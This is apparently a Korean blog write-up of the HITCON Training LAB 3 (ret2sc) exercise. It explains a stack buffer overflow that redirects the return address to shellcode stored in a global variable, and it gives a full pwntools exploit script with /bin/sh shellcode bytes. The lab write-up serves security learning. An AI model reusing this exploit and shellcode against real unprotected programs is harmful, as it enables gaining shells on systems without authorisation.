보호기법이 전부 걸려있지 않으니, 프로그램을 실행해도 메모리의 주소는 변함이 없을것이다.
따라서 전역변수 name에 쉘코드를 넣어두고 bof를 통해서 ret에 name의 주소를 주면 쉘코드가 실행될 것이다.
from pwn import * #context.log_level = 'debug' p = process('./ret2sc') e = ELF('./ret2sc') name = 0x804a060 shellcode = "\x90"*5+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" p.sendlineafter('Name:', shellcode) p.sendlineafter('best:', "A"*0x20+p32(name)) p.interactive()
LAB 3
Mitigation
소스코드
보호기법이 전부 걸려있지 않으니, 프로그램을 실행해도 메모리의 주소는 변함이 없을것이다.
따라서 전역변수 name에 쉘코드를 넣어두고 bof를 통해서 ret에 name의 주소를 주면 쉘코드가 실행될 것이다.
Exploit
'Hitcon Training' 카테고리의 다른 글